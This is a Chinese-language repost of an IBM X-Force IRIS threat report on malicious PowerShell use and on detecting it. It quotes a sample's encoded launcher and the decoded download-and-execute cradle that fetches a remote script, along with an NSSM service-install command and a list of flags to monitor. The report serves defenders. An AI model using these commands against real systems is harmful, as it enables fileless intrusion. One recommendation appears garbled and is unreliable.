當前位置:
首頁 > 新聞 > IBM X-Force IRIS報告:PowerShell攻擊增加趨勢明顯

IBM X-Force IRIS報告:PowerShell攻擊增加趨勢明顯

PowerShell是一個Microsoft框架,它既是腳本語言又是命令行執行程序,可用於簡化網路管理和自動執行任務,例如將更新推送到多個設備。PowerShell於2006年推出,自Windows 7以來一直是Windows操作系統(OS)的標準功能組件。PowerShell 6.0於2016年在麻省理工學院(MIT)開源許可下發布,旨在鼓勵跨平台採用。

PowerShell是一種多功能工具,可以從內存中執行代碼並直接輸入設備的核心。其中包括對Windows應用程序編程介面(API)的無限制訪問,對Windows Management Instrumentation(WMI)的完全訪問以及對.NET Framework的訪問。

儘管好處多多,但PowerShell也可被威脅行為者使用。IBM X-Force事件響應和情報服務(IRIS)確認惡意PowerShell的使用明顯呈上升趨勢,很可能是由於該工具的開源特性,並且惡意行為者已經意識到可以使用該工具將惡意軟體直接注入內存,用來增強混淆和逃避防病毒檢測軟體。我們的分析結果提供了新的見解,並強調了威脅行為者在使用PowerShell方面的獨特之處,例如作為服務安裝的PowerShell腳本。

一、PowerShell攻擊不斷增長

多名安全分析人員都發現,自2016年PowerShell 6.0開源之後,惡意PowerShell的使用量顯著增加。McAfee Labs研究報告發現,2016年至2017年期間PowerShell惡意軟體增加了432%;Symantec發現2017年中期至2018年中期PowerShell活動被阻止的計算機數量增加了661%。

IBM X-Force的數據同樣表明PowerShell攻擊在過去12個月中一直在增長。此外,來自託管安全服務(MSS)的數據顯示,2018年4月、8月和9月惡意PowerShell的使用量明顯增加(圖1)。

圖1:使用混淆和可疑downloaded 的PowerShell攻擊,2018年3月至9月

雖然我們的數據顯示混淆攻擊在2018年5月和6月有所下降,但在2018年7月底再次出現。9月中旬,我們看到數據中開始出現了新的攻擊類型:可疑的PowerShell downloader,表明遠程攻擊者嘗試使用PowerShell下載惡意內容並自動觸發有效載荷,從而允許惡意代碼運行並感染目標系統。

二、更強大的Shell

PowerShell框架對攻擊者的吸引力很明顯,因為直接從內存執行意味著可以進行無文件攻擊,因此比其他類型的攻擊更隱蔽。PowerShell還提供遠程訪問功能,可以繞過應用程序白名單。此外,威脅行為者可以使用PowerShell編碼選項來增強對惡意代碼的混淆,從而使其非法操作更加隱蔽。

然而,正如關閉整個GPS衛星網路會對合法用戶產生非常大的負面影響一樣,禁用PowerShell並不能解決惡意網路行為者的潛在攻擊。相反,安全從業者可以從中更好的了解攻擊者如何使用PowerShell,由此熟悉可用於檢測和根除惡意活動的工具。

為此,讓我們來看看X-Force IRIS觀察到的惡意PowerShell使用的一些趨勢,並探索一些幫助防禦者檢測和緩解PowerShell攻擊的技巧。

趨勢1:PowerShell腳本作為服務安裝

在最近觀察到的有組織的網路攻擊中,我們看到了一種更獨特的策略——威脅行為者作為服務來安裝PowerShell腳本。Windows服務是在後台運行的程序,不需要與用戶頻繁交互。因此,惡意行為者可以利用該類型的程序來安裝和運行其他程序,同時在操作系統的合法部分的幌子下逃避檢測。

大多數情況下,X-Force IRIS觀察到,作為服務安裝的PowerShell腳本包含base64編碼的字元串。該字元串解碼為Gzip壓縮的PowerShell腳本後啟動。在下面的示例中,PowerShell腳本作為服務運行,需要Non-Sucking服務管理器(NSSM)才能運行。該組件最初是作為惡意軟體載荷的一部分安裝的。安裝後,PowerShell腳本會調用NSSM並啟動惡意服務。

start-Process -FilePath .
ssm.exe -ArgumentList 『install MaliciousService 「C:WindowsSystem32WindowsPowerShellv1.0powershell.exe」 「-command 「& { . C:ScriptsMonitor.ps1; Start-Monitoring }」」 『 -NoNewWindow -Wait

將PowerShell腳本作為服務安裝在安全博客和報告中並不常見,表明這是一種新的或者獨特的趨勢。

趨勢2:通過文件宏傳播

在利用PowerShell之前,威脅行為者必須首先獲得對感興趣設備的訪問許可權。X-Force IRIS觀察到的一種常見方法是使用包含惡意宏的文檔附件的網路釣魚電子郵件。一旦激活,惡意宏就會啟動PowerShell,然後PowerShell會在後台執行命令或腳本,最終獲取並安裝惡意代碼或惡意軟體。在另外一些情況中,我們觀察到在網路釣魚攻擊中使用互聯網查詢(IQY)文件附件來啟動PowerShell並運行惡意腳本。

根據反網路釣魚組織的定期報告,網路釣魚攻擊將繼續取得高成功率。微妙的社交工程技術,結合精心研究的消息和附件,與來自合法組織的內容密切相關,即使是最安全的接收者也會被此欺騙。不出所料,網路釣魚電子郵件仍然是許多熟練和不熟練的攻擊者的首選感染媒介,他們試圖通過此渠道將PowerShell用於惡意目的。

Microsoft Word和Excel宏同樣是惡意PowerShell使用的常見選擇,因為它們通常被許多組織作為電子郵件附件接收。這些文件類型上的宏激活代碼很隱蔽,這為釋放規避各種檢測機制的腳本提供了一條途徑。

X-Force IRIS觀察到攻擊者使用的文件附件有計費發票、交付通知或簡歷,誘使受害者打開它們並啟用宏,最終感染主機並使攻擊者得以在組織中立足。

趨勢3:將惡意代碼注入內存

威脅行為者經常使用PowerShell將惡意軟體直接注入內存,這是IRIS多次觀察到的一種常見策略。使用PowerShell作為惡意代碼或惡意軟體的注入方法可以避開中間步驟並增加惡意軟體的隱蔽性和便捷性。

將惡意軟體直接注入內存是PowerShell用戶繞過防病毒系統的一種方法。由於大多數防病毒軟體系統會搜索寫入磁碟的壞文件,惡意攻擊者通過直接注入計算機隨機存取存儲器(RAM)來規避掃描。

PowerShell注入的目標進程取決於攻擊者的意圖和技術。在大多情況下,攻擊者使用PowerShell將惡意軟體注入活動的合法Windows進程,例如explorer.exe。為了加速此過程,威脅攻擊者偶爾會將其PowerShell腳本放入系統上的臨時文件夾中。部署後,直接注入內存的惡意軟體將具備與寫入磁碟的惡意軟體類似的功能:鍵盤記錄,數據泄漏和憑據捕獲等等。

在某個樣本中,惡意軟體能夠在部署之前檢查環境以確保不在沙箱中運行。它還掃描網路配置中的特定目標,尋找諸如銷售點機器、醫療保健相關單詞和金融網站訪問等字元串,不一而足。

趨勢4:Base64編碼腳本和嵌套混淆

在深入研究下一個趨勢之前,請注意使用base64編碼的PowerShell本身並不是惡意的;它可以用於合法目的,例如傳輸二進位文件。但是,編碼對攻擊者特別有用,因為它允許混淆攻擊者選擇部署的惡意軟體內容,從而規避一些惡意軟體檢測機制。

首先,base64編碼的PowerShell腳本的存在通常是惡意行為者使用該框架的一個標誌。合法用戶通常不會對其腳本進行編碼,但是攻擊者通常會使用編碼來混淆可執行代碼,否則這些代碼會被終端檢測解決方案標記。

在過去幾個月中,X-Force IRIS觀察到惡意使用PowerShell時嵌套混淆有所增加。我們已經看到威脅行為者不僅使用Base64編碼的腳本和命令,還使用多層混淆,有時包括base64編碼中的base64編碼(雙編碼),然後使用Gzip壓縮,這增加了另外的要求。其他實例包括使用非標準字母表顯示base64編碼,以進一步模糊腳本。這些技術使得外部人員的解碼更加困難,但為防禦者提供了一個標誌,以進一步檢查他們的意圖。

在下面的示例中,我們提供了有關包含Base64混淆的惡意Microsoft Excel文檔以及它如何啟動PowerShell以進一步實現其惡意目的。

樣本: 543D5E22DC9F8E57CA288E6C0EA281F3.xls

這是一個Excel文檔,其中包含多個惡意Visual Basic for Applications(VBA)宏,這些宏提供在Base64中編碼的指令,分發機製為釣魚郵件。

該文件被受害者在Microsoft Excel中打開,程序執行惡意宏(某些字元串被故意截斷)。

WINWORD.EXE?/n 「C: 543D5E22DC9F8E57CA288E6C0EA281F3.xls 「

嵌入式宏執行PowerShell ,來看一下腳本的參數:

隱藏在Excel宏中的Base64編碼命令:

PowerShell.exe -Exec Bypass -NoL -Enc WwBuAGUAdAAuAHcAZQBiAHIAZQBxAHUAZQBzAHQAXQA6ADoAZABlAGYAYQB1AGwAdAB3AGUAYgBwAHIAbwB4AHkALgBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBuAGUAdAAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAYwBhAGMAaABlAF0AOgA6AGQAZQBmAGEAdQBsAHQAYwByAGUAZABlAG4AdABpAGEAbABzADsAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGU…

-Exec Bypass允許PowerShell以提升的許可權運行繞過執行策略。

-NoL(NoLogo)在啟動時隱藏PowerShell的版權標題。

-Enc(編碼命令) 告訴PowerShell期望以base64編碼的參數來執行。

這些指令會導致受害者的計算機通過HTTP連接下載惡意PowerShell腳本,然後按照下面的示例執行該腳本。

解碼後的字元串:

[net.webrequest]::defaultwebproxy.credentials = [net.credentialcache]::defaultcredentials; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; IEX (New-Object Net.WebClient).DownloadString(『https://xxxxxx.xx.com/login-prompt.ps1』)

三、PowerShell用於橫向移動、持久化、注入惡意軟體

幸運的是,PowerShell並不會在攻擊的各個階段幫助惡意行為者。相反,它主要用於攻擊者在初始攻擊後採取的操作。威脅行為者仍然需要在攻擊的其他階段使用替代工具,例如外部偵察,開發基礎設施,初步感染,以及在環境中建立立足點。

最近發布的「X-Force IRIS Cyberattack Preparation and Execution FrameworksX」詳細介紹了大多數攻擊者在識別、研究、定位和攻擊受害者網路時採取的步驟。

圖2:X-Force IRIS網路攻擊準備和執行框架

在上述步驟中,X-Force IRIS觀察到PowerShell主要用於橫向移動、建立立足點、進行偵察並保持攻擊持久性。

PowerShell為目標環境中的橫向移動提供了許多機會。此外,惡意使用其腳本可以允許攻擊者安裝後門來建立立足點,並將惡意軟體置於計劃任務中或以無文件方式直接存儲到內存中來維持持久性。X-Force IRIS最近觀察到,魚叉式網路釣魚電子郵件通常為攻擊者提供了初始感染媒介。

傳統的保護方法,例如物理安全控制,反網路釣魚軟體解決方案,禁用宏以及使用橫幅突出顯示來自公司外部的消息,可以幫助減少依賴PowerShell訪問聯網設備的攻擊者的機會。教導員工了解打開文件附件和在未經請求的電子郵件中啟用宏的風險可以增加另一層安全性,減少源頭感染的可能性。

四、一些有益的建議

隨著PowerShell腳本的使用量不斷增長,嵌套混淆,以及繞過應用程序白名單的機制,可以採取哪些措施來降低風險?為不斷享受PowerShell的便利並降低濫用風險,IRIS建議在網路中記錄、跟蹤和審核PowerShell的使用,並使用特定的搜索工具來標記惡意行為。

以下是有關記錄和跟蹤潛在惡意PowerShell活動的一些特定提示:

·至少確保系統上安裝了PowerShell v5,它具有增強的日誌記錄功能,包括腳本塊日誌記錄功能。支持最新版本可以確保更好的安全性。

·打開轉錄日誌,進一步啟用PowerShell日誌捕獲完整命令,即使它已被混淆。

·監視惡意行為者經常用於執行PowerShell控制台的典型命令,例如:

-ExecutionPolicy Bypass及其衍生,如-Exec Bypass和-ep bypass;

-EncodedCommand及衍生,如-enc;

-NonInteractive,-NoLogo和-NoProfile及其衍生如-NonI,-NoL,-nol和-NoP;

-WindowStyle隱藏及其衍生,如-w hidden,-window hidden和-win hidden。

·監控以下事件:

事件ID 4688 - 已創建新進程。特別是,在記錄時,目標是捕獲4688事件中的命令行參數。這有助於查找作為參數傳遞的PowerShell命令。

事件ID 7045 - 系統上安裝了一項服務。

事件ID 4697 - 系統「Windows事件日誌視圖」上安裝了一項服務。

·使用YARA規則來幫助檢測惡意PowerShell使用。

專業軟體和預防措施可以提供額外的保護層,並記錄PowerShell使用和識別潛在惡意腳本所涉及的一些手動過程。包括:

· 教導用戶啟用宏並讓攻擊者廣泛使用它們;

· 採用具有增強的惡意PowerShell檢測功能的安全信息和事件管理(SIEM)系統;

· 使用端點檢測和響應(EDR)解決方案,這些解決方案可根據行業部門和業務需要保護的設備提供;

· 跟上新出現的威脅和從中收集到的IoC。

最後,在攻擊者已經對系統造成破壞或造成信息被盜的情況下,取證專家可以協助檢測惡意PowerShell腳本並從組織的基礎架構中消除它們。要恢復安全級別,檢測並消除使用PowerShell框架注入的任何惡意軟體或惡意進程非常重要。通過提高員工意識和校正安全控制檢測惡意PowerShell活動,組織可以得到更好的保護。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

Linux內存管理中緩存失效漏洞分析及利用
GandCrab勒索軟體的最新版本中開始引入加密和混淆功能

TAG:嘶吼RoarTalk |